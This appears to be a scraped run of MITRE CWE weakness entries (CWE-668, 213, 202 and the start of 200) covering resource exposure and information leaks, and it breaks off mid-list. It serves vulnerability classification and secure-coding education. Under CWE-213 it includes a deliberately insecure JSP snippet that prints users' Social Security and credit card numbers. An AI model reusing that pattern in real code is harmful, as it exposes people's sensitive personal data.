For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource.
+ Extended Description

Resources such as files and directories may be inadvertently exposed through mechanisms such as insecure permissions, or when a program accidentally operates on the wrong object. For example, a program may intend that private files can only be provided to a specific user. This effectively defines a control sphere that is intended to prevent attackers from accessing these private files. If the file permissions are insecure, then parties other than the user will be able to access those files.

A separate control sphere might effectively require that the user can only access the private files, but not any other files on the system. If the program does not ensure that the user is only requesting private files, then the user might be able to access other files on the system.

In either case, the end result is that a resource has been exposed to the wrong party.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.664Improper Control of a Resource Through its Lifetime
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.8J2EE Misconfiguration: Entity Bean Declared Remote
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.22Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.134Use of Externally-Controlled Format String
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.200Exposure of Sensitive Information to an Unauthorized Actor
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.374Passing Mutable Objects to an Untrusted Method
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.375Returning a Mutable Object to an Untrusted Caller
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.377Insecure Temporary File
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.402Transmission of Private Resources into a New Sphere ('Resource Leak')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.427Uncontrolled Search Path Element
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.428Unquoted Search Path or Element
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.488Exposure of Data Element to Wrong Session
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.491Public cloneable() Method Without Final ('Object Hijack')
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.492Use of Inner Class Containing Sensitive Data
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.493Critical Public Variable Without Final Modifier
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.498Cloneable Class Containing Sensitive Information
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.499Serializable Class Containing Sensitive Data
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.522Insufficiently Protected Credentials
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.524Use of Cache Containing Sensitive Information
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.552Files or Directories Accessible to External Parties
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.582Array Declared Public, Final, and Static
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.583finalize() Method Declared Public
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.608Struts: Non-private Field in ActionForm Class
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.642External Control of Critical State Data
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.732Incorrect Permission Assignment for Critical Resource
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.767Access to Critical Private Variable via Public Method
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.927Use of Implicit Intent for Sensitive Communication
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1189Improper Isolation of Shared Resources on System-on-a-Chip (SoC)
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1282Assumed-Immutable Data is Stored in Writable Memory
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1327Binding to an Unrestricted IP Address
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1331Improper Isolation of Shared Resources in Network On Chip (NoC)
CanFollowClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.441Unintended Proxy or Intermediary ('Confused Deputy')
CanFollowVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.942Permissive Cross-domain Policy with Untrusted Domains
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.134Use of Externally-Controlled Format String
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.426Untrusted Search Path
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.427Uncontrolled Search Path Element
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.428Unquoted Search Path or Element
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.552Files or Directories Accessible to External Parties
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
Operation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Other

Technical Impact: Read Application Data; Modify Application Data; Other

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1345OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1364ICS Communications: Zone Boundary Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1403Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reasons: Frequent Misuse, Abstraction

Rationale:

CWE-668 is high-level and is often misused as a catch-all when lower-level CWE IDs might be applicable. It is sometimes used for low-information vulnerability reports [REF-1287]. It is a level-1 Class (i.e., a child of a Pillar). It is not useful for trend analysis.

Comments:

Closely analyze the specific mistake that is allowing the resource to be exposed, and perform a CWE mapping for that mistake.
+ Notes

Theoretical

A "control sphere" is a set of resources and behaviors that are accessible to a single actor, or a group of actors. A product's security model will typically define multiple spheres, possibly implicitly. For example, a server might define one sphere for "administrators" who can create new user accounts with subdirectories under /home/server/, and a second sphere might cover the set of users who can create or delete files within their own subdirectories. A third sphere might be "users who are authenticated to the operating system on which the product is installed." Each sphere has different sets of actors and allowable behaviors.
+ References
[REF-1287] MITRE. "Supplemental Details - 2022 CWE Top 25". Details of Problematic Mappings. 2022-06-28. <https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html#problematicMappingDetails>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-04-11
(CWE Draft 9, 2008-04-11)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes
2008-11-24CWE Content TeamMITRE
updated Relationships
2009-05-27CWE Content TeamMITRE
updated Relationships
2009-07-22CWE Content TeamMITRE
Clarified description to include permissions.
2009-07-27CWE Content TeamMITRE
updated Description, Relationships
2009-10-29CWE Content TeamMITRE
updated Other_Notes, Theoretical_Notes
2009-12-28CWE Content TeamMITRE
updated Relationships
2010-09-27CWE Content TeamMITRE
updated Relationships
2011-03-29CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2013-02-21CWE Content TeamMITRE
updated Relationships
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-06-23CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships, Relevant_Properties
2019-01-03CWE Content TeamMITRE
updated Relationships
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-04-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated References
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-213: Exposure of Sensitive Information Due to Incompatible Policies

Weakness ID: 213
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product's intended functionality exposes information to certain actors in accordance with the developer's security policy, but this information is regarded as sensitive according to the intended security policies of other stakeholders such as the product's administrator, users, or others whose information is being processed.
+ Extended Description

When handling information, the developer must consider whether the information is regarded as sensitive by different stakeholders, such as users or administrators. Each stakeholder effectively has its own intended security policy that the product is expected to uphold. When a developer does not treat that information as sensitive, this can introduce a vulnerability that violates the expectations of the product's users.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.200Exposure of Sensitive Information to an Unauthorized Actor
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.199Information Management Errors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
PolicyThis can occur when the product's policy does not account for all relevant stakeholders, or when the policies of other stakeholders are not interpreted properly.
RequirementsThis can occur when requirements do not explicitly account for all relevant stakeholders.
Architecture and DesignCommunications or data exchange frameworks may be chosen that exchange or provide access to more information than strictly needed.
ImplementationThis can occur when the developer does not properly track the flow of sensitive information and how it is exposed, e.g., via an API.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

+ Demonstrative Examples

Example 1

This code displays some information on a web page.

(bad code)
Example Language: JSP 
Social Security Number: <%= ssn %></br>Credit Card Number: <%= ccn %>

The code displays a user's credit card and social security numbers, even though they aren't absolutely necessary.

+ Observed Examples
ReferenceDescription
Script calls phpinfo()
Script calls phpinfo()
Script calls phpinfo()
Script calls phpinfo()
Script calls phpinfo()
Product lists DLLs and full pathnames.
Telnet protocol allows servers to obtain sensitive environment information from clients.
Telnet protocol allows servers to obtain sensitive environment information from clients.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1340CISQ Data Protection Measures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1348OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1417Comprehensive Categorization: Sensitive Information Exposure
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Theoretical

In vulnerability theory terms, this covers cases in which the developer's Intended Policy allows the information to be made available, but the information might be in violation of a Universal Policy in which the product's administrator should have control over which information is considered sensitive and therefore should not be exposed.

Maintenance

This entry is being considered for deprecation. It overlaps many other entries related to information exposures. It might not be essential to preserve this entry, since other key stakeholder policies are covered elsewhere, e.g. personal privacy leaks (CWE-359) and system-level exposures that are important to system administrators (CWE-497).
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERIntended information leak
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2011-03-29CWE Content TeamMITRE
updated Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Other_Notes, Relationship_Notes, Theoretical_Notes
2014-07-30CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Maintenance_Notes, Modes_of_Introduction, Name, Other_Notes, Relationship_Notes, Relationships, Time_of_Introduction
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2011-03-29Intended Information Leak
2020-02-24Intentional Information Exposure

CWE-202: Exposure of Sensitive Information Through Data Queries

Weakness ID: 202
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
When trying to keep information confidential, an attacker can often infer some of the information by using statistics.
+ Extended Description
In situations where data should not be tied to individual users, but a large number of users should be able to make queries that "scrub" the identity of users, it may be possible to get information about a user -- e.g., by specifying search terms that are known to be unique to that user.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1230Exposure of Sensitive Information Through Metadata
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Files or Directories; Read Application Data

Sensitive information may possibly be leaked through data queries accidentally.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

See the book Translucent Databases for examples.

+ Observed Examples
ReferenceDescription
Wiki product allows an adversary to discover filenames via a series of queries starting with one letter and then iteratively extending the match.
+ Potential Mitigations

Phase: Architecture and Design

This is a complex topic. See the book Translucent Databases for a good discussion of best practices.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.967SFP Secondary Cluster: State Disclosure
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

The relationship between CWE-202 and CWE-612 needs to be investigated more closely, as they may be different descriptions of the same kind of problem. CWE-202 is also being considered for deprecation, as it is not clearly described and may have been misunderstood by CWE users. It could be argued that this issue is better covered by CAPEC; an attacker can utilize their data-query privileges to perform this kind of operation, and if the attacker should not be allowed to perform the operation - or if the sensitive data should not have been made accessible at all - then that is more appropriately classified as a separate CWE related to authorization (see the parent, CWE-1230).

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPAccidental leaking of sensitive information through data queries
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Description, Relationships, Taxonomy_Mappings
2011-03-29CWE Content TeamMITRE
updated Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2013-02-21CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Maintenance_Notes, Name, References, Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships, Type
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Information Leak Through Data Queries
2011-03-29Privacy Leak through Data Queries
2020-02-24Exposure of Sensitive Data Through Data Queries

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Weakness ID: 200
Vulnerability Mapping: DISCOURAGEDThis CWE ID should not be used to map to real-world vulnerabilities
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.
+ Extended Description

There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker. Some kinds of sensitive information include:

  • private, personal information, such as personal messages, financial data, health records, geographic location, or contact details
  • system status and environment, such as the operating system and installed packages
  • business secrets and intellectual property
  • network status and configuration
  • the product's own code or internal state
  • metadata, e.g. logging of connections or message headers
  • indirect information, such as a discrepancy between two internal operations that can be observed by an outsider

Information might be sensitive to different parties, each of which may have their own expectations for whether the information should be protected. These parties include:

  • the product's own users
  • people or organizations whose information is created or used by the product, even if they are not direct product users
  • the product's administrators, including the admins of the system(s) and/or networks on which the product operates
  • the developer

Information exposures can occur in different ways:

